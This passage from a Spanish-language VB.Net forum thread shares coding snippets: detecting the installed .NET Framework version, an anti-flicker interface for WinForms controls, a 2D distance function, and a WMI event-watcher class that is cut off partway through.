Todas estas funcionalidades y muchísimas más las podrán encontrar en mi Framework de pago ElektroKit.


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 1 Abril 2017, 17:55 pm
¿Cómo determinar cual es la versión más reciente instalada de .NET Framework en la máquina actual?.

Aquí les dejo el código fuente completo:

Código
  1. ''' ----------------------------------------------------------------------------------------------------
  2. ''' <summary>
  3. ''' Determines which is the most recent version of the .NET Framework runtimes installed on the current machine.
  4. ''' </summary>
  5. ''' ----------------------------------------------------------------------------------------------------
  6. ''' <example> This is a code example.
  7. ''' <code>
  8. ''' Dim frameworkVersion As Version = GetMostRecentInstalledFrameworkVersion()
  9. ''' Console.WriteLine(frameworkVersion.ToString())
  10. ''' </code>
  11. ''' </example>
  12. ''' ----------------------------------------------------------------------------------------------------
  13. ''' <remarks>
  14. ''' Credits to Microsoft: <see href="http://msdn.microsoft.com/en-us/library/hh925568(v=vs.110).aspx"/>
  15. ''' </remarks>
  16. ''' ----------------------------------------------------------------------------------------------------
  17. ''' <returns>
  18. ''' The resulting .NET Framework <see cref="Version"/>.
  19. ''' </returns>
  20. ''' ----------------------------------------------------------------------------------------------------
  21. <DebuggerStepperBoundary>
  22. Private Shared Function GetMostRecentInstalledFrameworkVersion() As Version
  23.  
  24.    ' .NET 4.5, 4.5.1, 4.5.2, 4.6, 4.6.1
  25.    Using ndpKey As RegistryKey =
  26.        RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry32).
  27.                    OpenSubKey("SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full\", writable:=False)
  28.  
  29.        If (ndpKey IsNot Nothing) AndAlso (ndpKey.GetValue("Release") IsNot Nothing) Then
  30.            Dim releaseVersion As Integer = CInt(ndpKey.GetValue("Release"))
  31.            Select Case releaseVersion
  32.                Case >= 394254
  33.                    Return New Version(4, 6, 1)
  34.                Case >= 393295
  35.                    Return New Version(4, 6)
  36.                Case >= 379893
  37.                    Return New Version(4, 5, 2)
  38.                Case >= 378675
  39.                    Return New Version(4, 5, 1)
  40.                Case >= 378389
  41.                    Return New Version(4, 5)
  42.            End Select
  43.        End If
  44.    End Using
  45.  
  46.    ' .NET 1.0, 2.0, 3.0, 3.5, 4.0
  47.    Using ndpKey As RegistryKey =
  48.        RegistryKey.OpenRemoteBaseKey(RegistryHive.LocalMachine, "").
  49.                    OpenSubKey("SOFTWARE\Microsoft\NET Framework Setup\NDP\", writable:=False)
  50.  
  51.        For Each versionKeyName As String In ndpKey.GetSubKeyNames().OrderByDescending(Function(x As String) x)
  52.            If versionKeyName.ToLower().StartsWith("v") Then
  53.                Return New Version(versionKeyName.ToLower().TrimStart("v"c))
  54.            End If
  55.        Next versionKeyName
  56.    End Using
  57.  
  58.    Return New Version()
  59.  
  60. End Function

Personálmente recomiendo decorar esta funcionalidad mediante una propiedad de sólo lectura, tal que así:
Código
  1. ''' ----------------------------------------------------------------------------------------------------
  2. ''' <summary>
  3. ''' Gets a value that determines which is the most recent version of the .NET Framework runtimes installed
  4. ''' on the current machine.
  5. ''' </summary>
  6. ''' ----------------------------------------------------------------------------------------------------
  7. ''' <value>
  8. ''' A value that determines which is the most recent version of the .NET Framework runtimes installed
  9. ''' on the current machine.
  10. ''' </value>
  11. ''' ----------------------------------------------------------------------------------------------------
  12. Public Shared ReadOnly Property MostRecentInstalledFrameworkVersion As Version
  13.    <DebuggerStepThrough>
  14.    Get
  15.        Return GetMostRecentInstalledFrameworkVersion()
  16.    End Get
  17. End Property

Modo de empleo:
Código
  1. Dim frameworkVersion As Version = GetMostRecentInstalledFrameworkVersion()
  2. Console.WriteLine(frameworkVersion.ToString())

Notas: Faltaría implementar la versión de .NET 4.6.2. Aparte de eso no he podio testear en profundidad el resultado obtenido en un equipo que tenga instalado .NET 1.0, 2.0, 3.0, 3.5 o 4.0, si encuentran algún error diganmelo.



Códigos de error Win32.

Esto que voy a compartir a continuación es una enumeración con todos los errores Win32 de la API de Windows, en total son +13.000 lineas de código, así que os dejo un enlace externo:

  • https://paste.ee/p/zr1gk

El propósito de gigantesca enumeración es proveer una manera sencilla, directa y eficiente de determinar que error nos devuelve en ocasiones una función de la API de Windows y cual es el significado de dicho código de error.

No confundir un código de error Win32 con un código de error H_RESULT, esto último define muchos errores Win32 pero con otros valores.

Recordad que la librería de clases de .NET Framework expone algunos miembros muy útiles para la evaluación de errores de funciones no administradas, Marshal.GetLastWin32Error(), Marshal.GetHRForLastWin32Error() y Marshal.ThrowExceptionForHR() así como el tipo excepción System.ComponentModel.Win32Exception que podemos invocar para informarle de un error Win32 específico al usuario.



¿Cómo prevenir el Flickering de un control Win32?.

Uno de los mayores problemas estéticos y también de lo más común al trabajar con los controles de la tecnología WindowsForms es el Flickering. El Flicker consiste en un desagradable parpadeo de la imagen en donde la imagen desaparece por un breve tiempo lapso de tiempo hasta que vuelve a aparecer, como un parpadeo. Es un problema visual que afecta a la estética del control, y suele producirse muy a menudo cuando el control necesita realizar operaciones de dibujo muy expensivas, o cuando estamos trabajando con transparencias.

Una descripción más detallada del flickering: https://en.wikipedia.org/wiki/Flicker_(screen) (https://en.wikipedia.org/wiki/Flicker_(screen))

¿Cómo se soluciona el Flickering?, pues lamentablemente no se puede solucionar completamente, pero si que podemos llegar a reducir el Flickering considerablemente y en el mejor de los casos hasta llegar a dejar de percibirlo del todo y poder decir que ya no hay Flickering en el control, ¿pero cómo se hace?, pues una solución cotidiana sería con un bufer doble de memoria, o double buffering.

Cuando el double buffering está activado, todas las operaciones de dibujado del control son renderizadas primero a un bufer de memoria en vez de ser renderizadas directamente a la superficie de dibujado en la pantalla. Cuando todas las operaciones de dibujado han sido completadas, el bufer de memoria es copiado directamente a la superficie de dibujado asociada a él.

Para tratar de solventar los problemas de Flickering cuando estamos desarrollando un control de usuario, he desarrollado una interfáz con nombre IBufferedControl, la cual implementariamos en nuestro control:

Código
  1. ' ***********************************************************************
  2. ' Author   : Elektro
  3. ' Modified : 20-March-2017
  4. ' ***********************************************************************
  5.  
  6. #Region " Public Members Summary "
  7.  
  8. #Region " Properties "
  9.  
  10. ' CreateParams As CreateParams
  11. ' DoubleBuffered As Boolean
  12. ' PreventFlickering As Boolean
  13.  
  14. #End Region
  15.  
  16. #End Region
  17.  
  18. #Region " Option Statements "
  19.  
  20. Option Strict On
  21. Option Explicit On
  22. Option Infer Off
  23.  
  24. #End Region
  25.  
  26. #Region " Imports "
  27.  
  28. Imports System.ComponentModel
  29. Imports System.Windows.Forms
  30.  
  31. #End Region
  32.  
  33. #Region " IBufferedControl "
  34.  
  35. Namespace Types
  36.  
  37.    ''' ----------------------------------------------------------------------------------------------------
  38.    ''' <summary>
  39.    ''' Provides simple double buffering (anti flickering) functionality for a Windows Forms <see cref="Control"/>,
  40.    ''' such for example a <see cref="TextBox"/>.
  41.    ''' </summary>
  42.    ''' ----------------------------------------------------------------------------------------------------
  43.    Public Interface IBufferedControl
  44.  
  45.        ''' ----------------------------------------------------------------------------------------------------
  46.        ''' <summary>
  47.        ''' Gets the required creation parameters when the control handle is created.
  48.        ''' </summary>
  49.        ''' ----------------------------------------------------------------------------------------------------
  50.        ''' <value>
  51.        ''' The creation parameters.
  52.        ''' </value>
  53.        ''' ----------------------------------------------------------------------------------------------------
  54.        <Browsable(False)>
  55.        <EditorBrowsable(EditorBrowsableState.Advanced)>
  56.        ReadOnly Property CreateParams As CreateParams
  57.        ' Implementation Exmple:
  58.        '
  59.        ' Protected Overrides ReadOnly Property CreateParams As CreateParams Implements IBufferedControl.CreateParams
  60.        '     Get
  61.        '         If (Me.preventFlickeringB) Then
  62.        '             Dim cp As CreateParams = MyBase.CreateParams
  63.        '             cp.ExStyle = (cp.ExStyle Or CInt(WindowStylesEx.Composited))
  64.        '             Return cp
  65.        '         Else
  66.        '             Return MyBase.CreateParams
  67.        '         End If
  68.        '     End Get
  69.        ' End Property
  70.  
  71.        ''' ----------------------------------------------------------------------------------------------------
  72.        ''' <summary>
  73.        ''' Gets or sets a value indicating whether this control should redraw its surface using a secondary buffer
  74.        ''' to reduce or prevent flicker.
  75.        ''' </summary>
  76.        ''' ----------------------------------------------------------------------------------------------------
  77.        ''' <value>
  78.        ''' <see langword="True"/> if the surface of the control should be drawn using double buffering;
  79.        ''' otherwise, <see langword="False"/>.
  80.        ''' </value>
  81.        ''' ----------------------------------------------------------------------------------------------------
  82.        <Browsable(True)>
  83.        <EditorBrowsable(EditorBrowsableState.Always)>
  84.        <DesignerSerializationVisibility(DesignerSerializationVisibility.Visible)>
  85.        <Localizable(True)>
  86.        <Category("Behavior")>
  87.        <Description("Indicates whether this control should redraw its surface using a secondary buffer to reduce or prevent flicker.")>
  88.        <DefaultValue(GetType(Boolean), "True")>
  89.        Property DoubleBuffered As Boolean
  90.        ' Implementation Exmple:
  91.        '
  92.        ' Public Overridable Shadows Property DoubleBuffered As Boolean Implements IBufferedControl.DoubleBuffered
  93.        '     Get
  94.        '         Return MyBase.DoubleBuffered
  95.        '     End Get
  96.        '     Set(ByVal value As Boolean)
  97.        '         Me.SetStyle(ControlStyles.DoubleBuffer, value)
  98.        '         MyBase.DoubleBuffered = value
  99.        '     End Set
  100.        ' End Property
  101.  
  102.        ''' ----------------------------------------------------------------------------------------------------
  103.        ''' <summary>
  104.        ''' Gets or sets a value that indicates whether the control should avoid unwanted flickering effects.
  105.        ''' <para></para>
  106.        ''' If <see langword="True"/>, this will avoid any flickering effect on the control, however,
  107.        ''' it will also have a negative impact by slowing down the responsiveness of the control about to 30% slower.
  108.        ''' <para></para>
  109.        ''' This negative impact doesn't affect to the performance of the application itself,
  110.        ''' just to the performance of this control.
  111.        ''' </summary>
  112.        ''' ----------------------------------------------------------------------------------------------------
  113.        ''' <value>
  114.        ''' A value that indicates whether the control should avoid unwanted flickering effects.
  115.        ''' </value>
  116.        ''' ----------------------------------------------------------------------------------------------------
  117.        <Browsable(True)>
  118.        <EditorBrowsable(EditorBrowsableState.Always)>
  119.        <DesignerSerializationVisibility(DesignerSerializationVisibility.Visible)>
  120.        <Localizable(True)>
  121.        <Category("Behavior")>
  122.        <Description("Indicates whether the control should avoid unwanted flickering effects. If True, this will avoid any flickering effect on the control, however, it will also have a negative impact by slowing down the responsiveness of the control about to 30% slower.")>
  123.        <DefaultValue(GetType(Boolean), "False")>
  124.        Property PreventFlickering As Boolean
  125.        ' Implementation Exmple:
  126.        '
  127.        ' Public Overridable Property PreventFlickering As Boolean Implements IBufferedControl.PreventFlickering
  128.        '     Get
  129.        '         Return Me.preventFlickeringB
  130.        '     End Get
  131.        '     Set(ByVal value As Boolean)
  132.        '         Me.preventFlickeringB = value
  133.        '     End Set
  134.        ' End Property
  135.        ' ''' ----------------------------------------------------------------------------------------------------
  136.        ' ''' <summary>
  137.        ' ''' ( Backing Field )
  138.        ' ''' A value that indicates whether the control should avoid unwanted flickering effects.
  139.        ' ''' </summary>
  140.        ' ''' ----------------------------------------------------------------------------------------------------
  141.        ' Private preventFlickeringB As Boolean
  142.  
  143.    End Interface
  144.  
  145. End Namespace
  146.  
  147. #End Region

Un ejemplo de implementación:
Código
  1. <DisplayName("MyControl")>
  2. <Description("A extended control.")>
  3. <DesignTimeVisible(True)>
  4. <DesignerCategory("UserControl")>
  5. <ToolboxBitmap(GetType(UserControl))>
  6. <ToolboxItemFilter("System.Windows.Forms", ToolboxItemFilterType.Require)>
  7. <PermissionSet(SecurityAction.Demand, Name:="FullTrust")>
  8. Public Class MyControl : Inherits UserControl : Implements IBufferedControl
  9.  
  10.    ''' ----------------------------------------------------------------------------------------------------
  11.    ''' <summary>
  12.    ''' Gets the required creation parameters when the control handle is created.
  13.    ''' <para></para>
  14.    ''' The information returned by the <see cref="CreateParams"/> property is used to pass information about the
  15.    ''' initial state and appearance of this control, at the time an instance of this class is being created.
  16.    ''' </summary>
  17.    ''' ----------------------------------------------------------------------------------------------------
  18.    ''' <value>
  19.    ''' The creation parameters.
  20.    ''' </value>
  21.    ''' ----------------------------------------------------------------------------------------------------
  22.    <Browsable(False)>
  23.    <EditorBrowsable(EditorBrowsableState.Advanced)>
  24.    <Description("The required creation parameters when the control handle is created.")>
  25.    Protected Overrides ReadOnly Property CreateParams As CreateParams Implements IBufferedControl.CreateParams
  26.        Get
  27.            If (Me.preventFlickeringB) Then
  28.                Dim cp As CreateParams = MyBase.CreateParams
  29.                cp.ExStyle = (cp.ExStyle Or CInt(WindowStylesEx.Composited))
  30.                Return cp
  31.            Else
  32.                Return MyBase.CreateParams
  33.            End If
  34.        End Get
  35.    End Property
  36.  
  37.    ''' ----------------------------------------------------------------------------------------------------
  38.    ''' <summary>
  39.    ''' Gets or sets a value indicating whether this control should redraw its surface using a secondary buffer
  40.    ''' to reduce or prevent flicker.
  41.    ''' </summary>
  42.    ''' ----------------------------------------------------------------------------------------------------
  43.    ''' <value>
  44.    ''' <see langword="True"/> if the surface of the control should be drawn using double buffering;
  45.    ''' otherwise, <see langword="False"/>.
  46.    ''' </value>
  47.    ''' ----------------------------------------------------------------------------------------------------
  48.    <Browsable(True)>
  49.    <EditorBrowsable(EditorBrowsableState.Always)>
  50.    <DesignerSerializationVisibility(DesignerSerializationVisibility.Visible)>
  51.    <Localizable(True)>
  52.    <Category("Behavior")>
  53.    <Description("Indicates whether this control should redraw its surface using a secondary buffer to reduce or prevent flicker.")>
  54.    <DefaultValue(GetType(Boolean), "False")>
  55.    Public Overridable Shadows Property DoubleBuffered As Boolean Implements IBufferedControl.DoubleBuffered
  56.        Get
  57.            Return MyBase.DoubleBuffered
  58.        End Get
  59.        Set(ByVal value As Boolean)
  60.            Me.SetStyle(ControlStyles.DoubleBuffer, value)
  61.            MyBase.DoubleBuffered = value
  62.        End Set
  63.    End Property
  64.  
  65.    ''' ----------------------------------------------------------------------------------------------------
  66.    ''' <summary>
  67.    ''' Gets or sets a value that indicates whether the control should avoid unwanted flickering effects.
  68.    ''' <para></para>
  69.    ''' If <see langword="True"/>, this will avoid any flickering effect on the control, however,
  70.    ''' it will also have a negative impact by slowing down the responsiveness of the control about to 30% slower.
  71.    ''' <para></para>
  72.    ''' This negative impact doesn't affect to the performance of the application itself,
  73.    ''' just to the performance of this control.
  74.    ''' </summary>
  75.    ''' ----------------------------------------------------------------------------------------------------
  76.    ''' <value>
  77.    ''' A value that indicates whether the control should avoid unwanted flickering effects.
  78.    ''' </value>
  79.    ''' ----------------------------------------------------------------------------------------------------
  80.    <Browsable(True)>
  81.    <EditorBrowsable(EditorBrowsableState.Always)>
  82.    <DesignerSerializationVisibility(DesignerSerializationVisibility.Visible)>
  83.    <Localizable(False)>
  84.    <Category("Behavior")>
  85.    <Description("Indicates whether the control should avoid unwanted flickering effects. If True, this will avoid any flickering effect on the control, however, it will also have a negative impact by slowing down the responsiveness of the control about to 30% slower.")>
  86.    <DefaultValue(GetType(Boolean), "False")>
  87.    Public Overridable Property PreventFlickering As Boolean Implements IBufferedControl.PreventFlickering
  88.        Get
  89.            Return Me.preventFlickeringB
  90.        End Get
  91.        Set(ByVal value As Boolean)
  92.            Me.preventFlickeringB = value
  93.        End Set
  94.    End Property
  95.    ''' ----------------------------------------------------------------------------------------------------
  96.    ''' <summary>
  97.    ''' ( Backing Field )
  98.    ''' A value that indicates whether the control should avoid unwanted flickering effects.
  99.    ''' </summary>
  100.    ''' ----------------------------------------------------------------------------------------------------
  101.    Private preventFlickeringB As Boolean
  102.  
  103.    Public Sub New()
  104.        MyBase.SuspendLayout()
  105.        ' MyBase.DoubleBuffered = True
  106.        ' Me.preventFlickeringB = True
  107.        MyBase.ResumeLayout(performLayout:=False)
  108.    End Sub
  109.  
  110. End Class



¿Cómo calcular la distancia (de 2 dimensiones) entre dos puntos?.

Código
  1. ''' ----------------------------------------------------------------------------------------------------
  2. ''' <summary>
  3. ''' Calculates the distance between two points in two dimensions in the coordinate system.
  4. ''' </summary>
  5. ''' ----------------------------------------------------------------------------------------------------
  6. ''' <remarks>
  7. ''' Pythagorean theorem: <see href="http://en.wikipedia.org/wiki/Pythagorean_theorem"/>
  8. ''' </remarks>
  9. ''' ----------------------------------------------------------------------------------------------------
  10. ''' <example> This is a code example.
  11. ''' <code>
  12. ''' Dim distance As Double = CalculateDistance2D(New PointF(1, 1), New PointF(2, 2))
  13. ''' </code>
  14. ''' </example>
  15. ''' ----------------------------------------------------------------------------------------------------
  16. ''' <param name="pointA">
  17. ''' The first point.
  18. ''' </param>
  19. '''
  20. ''' <param name="pointB">
  21. ''' The second point.
  22. ''' </param>
  23. ''' ----------------------------------------------------------------------------------------------------
  24. ''' <returns>
  25. ''' The resulting distance.
  26. ''' </returns>
  27. ''' ----------------------------------------------------------------------------------------------------
  28. Public Shared Function CalculateDistance2D(ByVal pointA As PointF, ByVal pointB As PointF) As Double
  29.  
  30.    ' Pythagoras theorem: c^2 = a^2 + b^2
  31.    ' thus c = square root(a^2 + b^2)
  32.    Dim a As Double = (pointB.X - pointA.X)
  33.    Dim b As Double = (pointB.Y - pointA.Y)
  34.  
  35.    Return Math.Sqrt(a * a + b * b)
  36.  
  37. End Function



¿Cómo subscribirnos a eventos del sistema?.

Microsoft Windows expone una infraestructura llamada WMI (Windows Management Instrumentation) mediante la que provee una serie de classes que podemos utilizar para subscribbirnos a eventos del sistema o dicho coloquiálmente "monitorizar eventos", como por ejemplo cambios de hardware, cambios de aplicaciones instaladas o desinstaladas, cambios en el nivel de batería de un portatil, cambios en el registro de Windows, y un largo etcétera.

La lista de classes podemos encontrarla en MSDN: https://msdn.microsoft.com/en-us/library/aa394554(v=vs.85).aspx (https://msdn.microsoft.com/en-us/library/aa394554(v=vs.85).aspx)

Hay varios tipos de classes, un tipo de classes serían representativas, es decir para representar información de consultas realizadas a WMI, y otro tipo serían las classes de eventos. Una class de evento la utilizariamos para subscribirnos al tipo de evento que provee.

Para subscribirnos a una clase de evento, la librería de clases de .NET Framework espone la clase ManagementEventWatcher. Yo he desarrollado la siguiente class que hereda de la class ManagementEventWatcher, con la intención de añadir algunos constructores específicos para facilitar todavía más su uso y abstraer en mayor medida el nivel de complejidad.

Código
  1. ' ***********************************************************************
  2. ' Author   : Elektro
  3. ' Modified : 21-March-2017
  4. ' ***********************************************************************
  5.  
  6. #Region " Public Members Summary "
  7.  
  8. #Region " Constructors "
  9.  
  10. ' New(String)
  11. ' New(String, Single)
  12. ' New(String, Timespan)
  13. ' New(String, String, Single)
  14. ' New(String, String, Timespan)
  15. ' New(String, String, String(), UInteger)
  16. ' New(String, String, String(), Timespan)
  17.  
  18. ' New(SelectQuery)
  19. ' New(SelectQuery, Single)
  20. ' New(SelectQuery, Timespan)
  21. ' New(SelectQuery, UInteger)
  22.  
  23. #End Region
  24.  
  25. #Region " Events "
  26.  
  27. ' EventArrived As EventArrivedEventHandler
  28.  
  29. #End Region
  30.  
  31. #Region " Methods "
  32.  
  33. ' Start()
  34. ' Stop()
  35. ' Dispose()
  36.  
  37. #End Region
  38.  
  39. #End Region
  40.  
  41. #Region " Option Statements "
  42.  
  43. Option Strict On
  44. Option Explicit On
  45. Option Infer Off
  46.  
  47. #End Region
  48.  
  49. #Region " Imports "
  50.  
  51. Imports System.ComponentModel
  52. Imports System.Management
  53.  
  54. #End Region
  55.  
  56. #Region " WMI Event Watcher "
  57.  
  58.    ''' ----------------------------------------------------------------------------------------------------
  59.    ''' <summary>
  60.    ''' A WMI event monitor that notifies about event arrivals for the subscribed event class.
  61.    ''' </summary>
  62.    ''' ----------------------------------------------------------------------------------------------------
  63.    <DesignerCategory("code")>
  64.    <ImmutableObject(False)>
  65.    Public Class WMIEventWatcher : Inherits ManagementEventWatcher
  66.  
  67. #Region " Constructors "
  68.  
  69.        ''' ----------------------------------------------------------------------------------------------------
  70.        ''' <summary>
  71.        ''' Prevents a default instance of the <see cref="WMIEventWatcher"/> class from being created.
  72.        ''' </summary>
  73.        ''' ----------------------------------------------------------------------------------------------------
  74.        <DebuggerNonUserCode>
  75.        Private Sub New()
  76.        End Sub
  77.  
  78.        ''' ----------------------------------------------------------------------------------------------------
  79.        ''' <summary>
  80.        ''' Initializes a new instance of the <see cref="WMIEventWatcher"/> class.
  81.        ''' </summary>
  82.        ''' ----------------------------------------------------------------------------------------------------
  83.        ''' <param name="eventClassName">
  84.        ''' The name of the WMI event class to subscribe for.
  85.        ''' </param>
  86.        ''' ----------------------------------------------------------------------------------------------------
  87.        <DebuggerStepThrough>
  88.        Public Sub New(ByVal eventClassName As String)
  89.  
  90.            Me.New(eventClassName, condition:=String.Empty, withinInterval:=1.0F)
  91.  
  92.        End Sub
  93.  
  94.        ''' ----------------------------------------------------------------------------------------------------
  95.        ''' <summary>
  96.        ''' Initializes a new instance of the <see cref="WMIEventWatcher"/> class.
  97.        ''' </summary>
  98.        ''' ----------------------------------------------------------------------------------------------------
  99.        ''' <param name="eventClassName">
  100.        ''' The name of the WMI event class to subscribe for.
  101.        ''' </param>
  102.        '''
  103.        ''' <param name="withinInterval">
  104.        ''' The interval, in seconds, that WMI will check for changes that occur to instances of the events of the
  105.        ''' specified class in the <paramref name="eventClassName"/> parameter.
  106.        ''' </param>
  107.        ''' ----------------------------------------------------------------------------------------------------
  108.        <DebuggerStepThrough>
  109.        Public Sub New(ByVal eventClassName As String,
  110.                       ByVal withinInterval As Single)
  111.  
  112.            Me.New(eventClassName, condition:=String.Empty, withinInterval:=withinInterval)
  113.  
  114.        End Sub
  115.  
  116.        ''' ----------------------------------------------------------------------------------------------------
  117.        ''' <summary>
  118.        ''' Initializes a new instance of the <see cref="WMIEventWatcher"/> class.
  119.        ''' </summary>
  120.        ''' ----------------------------------------------------------------------------------------------------
  121.        ''' <param name="eventClassName">
  122.        ''' The name of the WMI event class to subscribe for.
  123.        ''' </param>
  124.        '''
  125.        ''' <param name="withinInterval">
  126.        ''' The interval, in seconds, that WMI will check for changes that occur to instances of the events of the
  127.        ''' specified class in the <paramref name="eventClassName"/> parameter.
  128.        ''' </param>
  129.        ''' ----------------------------------------------------------------------------------------------------
  130.        <DebuggerStepThrough>
  131.        Public Sub New(ByVal eventClassName As String,
  132.                       ByVal withinInterval As TimeSpan)
  133.  
  134.            Me.New(eventClassName, condition:=String.Empty, withinInterval:=withinInterval)
  135.  
  136.        End Sub
  137.  
  138.        ''' ----------------------------------------------------------------------------------------------------
  139.        ''' <summary>
  140.        ''' Initializes a new instance of the <see cref="WMIEventWatcher"/> class.
  141.        ''' </summary>
  142.        ''' ----------------------------------------------------------------------------------------------------
  143.        ''' <param name="eventClassName">
  144.        ''' The name of the WMI event class to subscribe for.
  145.        ''' </param>
  146.        '''
  147.        ''' <param name="condition">
  148.        ''' The condition to be applied to events of the specified class in the
  149.        ''' <paramref name="eventClassName"/> parameter.
  150.        ''' </param>
  151.        '''
  152.        ''' <param name="withinInterval">
  153.        ''' The interval, in seconds, that WMI will check for changes that occur to instances of the events of the
  154.        ''' specified class in the <paramref name="eventClassName"/> parameter.
  155.        ''' </param>
  156.        ''' ----------------------------------------------------------------------------------------------------
  157.        <DebuggerStepThrough>
  158.        Public Sub New(ByVal eventClassName As String,
  159.                       ByVal condition As String,
  160.                       ByVal withinInterval As Single)
  161.  
  162.            Me.New(eventClassName, condition, TimeSpan.FromSeconds(withinInterval))
  163.  
  164.        End Sub
  165.  
  166.        ''' ----------------------------------------------------------------------------------------------------
  167.        ''' <summary>
  168.        ''' Initializes a new instance of the <see cref="WMIEventWatcher"/> class.
  169.        ''' </summary>
  170.        ''' ----------------------------------------------------------------------------------------------------
  171.        ''' <param name="eventClassName">
  172.        ''' The name of the WMI event class to subscribe for.
  173.        ''' </param>
  174.        '''
  175.        ''' <param name="condition">
  176.        ''' The condition to be applied to events of the specified class in the
  177.        ''' <paramref name="eventClassName"/> parameter.
  178.        ''' </param>
  179.        '''
  180.        ''' <param name="withinInterval">
  181.        ''' The interval, in seconds, that WMI will check for changes that occur to instances of the events of the
  182.        ''' specified class in the <paramref name="eventClassName"/> parameter.
  183.        ''' </param>
  184.        ''' ----------------------------------------------------------------------------------------------------
  185.        <DebuggerStepThrough>
  186.        Public Sub New(ByVal eventClassName As String,
  187.                       ByVal condition As String,
  188.                       ByVal withinInterval As TimeSpan)
  189.  
  190.            MyBase.Query = New WqlEventQuery(eventClassName:=eventClassName,
  191.                                             condition:=condition,
  192.                                             withinInterval:=withinInterval)
  193.  
  194.        End Sub
  195.  
  196.        ''' ----------------------------------------------------------------------------------------------------
  197.        ''' <summary>
  198.        ''' Initializes a new instance of the <see cref="WMIEventWatcher"/> class.
  199.        ''' </summary>
  200.        ''' ----------------------------------------------------------------------------------------------------
  201.        ''' <param name="eventClassName">
  202.        ''' The name of the WMI event class to subscribe for.
  203.        ''' </param>
  204.        '''
  205.        ''' <param name="condition">
  206.        ''' The condition to be applied to events of the specified class in the
  207.        ''' <paramref name="eventClassName"/> parameter.
  208.        ''' </param>
  209.        '''
  210.        ''' <param name="groupByPropertyList">
  211.        ''' The properties in the event class by which the events should be grouped.
  212.        ''' </param>
  213.        '''
  214.        ''' <param name="groupWithinInterval">
  215.        ''' The interval, in seconds, of the specified interval at which WMI sends one aggregate event,
  216.        ''' rather than many events.
  217.        ''' </param>
  218.        ''' ----------------------------------------------------------------------------------------------------
  219.        <DebuggerStepThrough>
  220.        Public Sub New(ByVal eventClassName As String,
  221.                       ByVal condition As String,
  222.                       ByVal groupByPropertyList As String(),
  223.                       ByVal groupWithinInterval As UInteger)
  224.  
  225.            Me.New(eventClassName, condition, groupByPropertyList, TimeSpan.FromSeconds(groupWithinInterval))
  226.  
  227.        End Sub
  228.  
  229.        ''' ----------------------------------------------------------------------------------------------------
  230.        ''' <summary>
  231.        ''' Initializes a new instance of the <see cref="WMIEventWatcher"/> class.
  232.        ''' </summary>
  233.        ''' ----------------------------------------------------------------------------------------------------
  234.        ''' <param name="eventClassName">
  235.        ''' The name of the WMI event class to subscribe for.
  236.        ''' </param>
  237.        '''
  238.        ''' <param name="condition">
  239.        ''' The condition to be applied to events of the specified class in the
  240.        ''' <paramref name="eventClassName"/> parameter.
  241.        ''' </param>
  242.        '''
  243.        ''' <param name="groupByPropertyList">
  244.        ''' The properties in the event class by which the events should be grouped.
  245.        ''' </param>
  246.        '''
  247.        ''' <param name="groupWithinInterval">
  248.        ''' The interval, in seconds, of the specified interval at which WMI sends one aggregate event,
  249.        ''' rather than many events.
  250.        ''' </param>
  251.        ''' ----------------------------------------------------------------------------------------------------
  252.        <DebuggerStepThrough>
  253.        Public Sub New(ByVal eventClassName As String,
  254.                       ByVal condition As String,
  255.                       ByVal groupByPropertyList As String(),
  256.                       ByVal groupWithinInterval As TimeSpan)
  257.  
  258.            MyBase.Query = New WqlEventQuery(eventClassName:=eventClassName,
  259.                                             condition:=condition,
  260.                                             groupWithinInterval:=groupWithinInterval,
  261.                                             groupByPropertyList:=groupByPropertyList)
  262.  
  263.        End Sub
  264.  
  265.        ''' ----------------------------------------------------------------------------------------------------
  266.        ''' <summary>
  267.        ''' Initializes a new instance of the <see cref="WMIEventWatcher"/> class.
  268.        ''' </summary>
  269.        ''' ----------------------------------------------------------------------------------------------------
  270.        ''' <param name="query">
  271.        ''' The WMI select query of the event class to subscribe for.
  272.        ''' </param>
  273.        ''' ----------------------------------------------------------------------------------------------------
  274.        <DebuggerStepThrough>
  275.        Public Sub New(ByVal query As SelectQuery)
  276.  
  277.            Me.New(query.ClassName, condition:=query.Condition, withinInterval:=1.0F)
  278.  
  279.        End Sub
  280.  
  281.        ''' ----------------------------------------------------------------------------------------------------
  282.        ''' <summary>
  283.        ''' Initializes a new instance of the <see cref="WMIEventWatcher"/> class.
  284.        ''' </summary>
  285.        ''' ----------------------------------------------------------------------------------------------------
  286.        ''' <param name="query">
  287.        ''' The WMI select query of the event class to subscribe for.
  288.        ''' </param>
  289.        '''
  290.        ''' <param name="withinInterval">
  291.        ''' The interval, in seconds, that WMI will check for changes that occur to instances of the events of the
  292.        ''' specified class in the <paramref name="query"/> parameter.
  293.        ''' </param>
  294.        ''' ----------------------------------------------------------------------------------------------------
  295.        <DebuggerStepThrough>
  296.        Public Sub New(ByVal query As SelectQuery,
  297.                       ByVal withinInterval As Single)
  298.  
  299.            Me.New(query.ClassName, condition:=query.Condition, withinInterval:=TimeSpan.FromSeconds(withinInterval))
  300.  
  301.        End Sub
  302.  
  303.        ''' ----------------------------------------------------------------------------------------------------
  304.        ''' <summary>
  305.        ''' Initializes a new instance of the <see cref="WMIEventWatcher"/> class.
  306.        ''' </summary>
  307.        ''' ----------------------------------------------------------------------------------------------------
  308.        ''' <param name="query">
  309.        ''' The WMI select query of the event class to subscribe for.
  310.        ''' </param>
  311.        '''
  312.        ''' <param name="withinInterval">
  313.        ''' The interval, in seconds, that WMI will check for changes that occur to instances of the events of the
  314.        ''' specified class in the <paramref name="query"/> parameter.
  315.        ''' </param>
  316.        ''' ----------------------------------------------------------------------------------------------------
  317.        <DebuggerStepThrough>
  318.        Public Sub New(ByVal query As SelectQuery,
  319.                       ByVal withinInterval As TimeSpan)
  320.  
  321.            Me.New(query.ClassName, condition:=query.Condition, withinInterval:=withinInterval)
  322.  
  323.        End Sub
  324.  
  325.        ''' ----------------------------------------------------------------------------------------------------
  326.        ''' <summary>
  327.        ''' Initializes a new instance of the <see cref="WMIEventWatcher"/> class.
  328.        ''' </summary>
  329.        ''' ----------------------------------------------------------------------------------------------------
  330.        ''' <param name="query">
  331.        ''' The WMI select query of the event class to subscribe for and its selected properties.
  332.        ''' </param>
  333.        '''
  334.        ''' <param name="groupWithinInterval">
  335.        ''' The interval, in seconds, of the specified interval at which WMI sends one aggregate event,
  336.        ''' rather than many events.
  337.        ''' </param>
  338.        ''' ----------------------------------------------------------------------------------------------------
  339.        <DebuggerStepThrough>
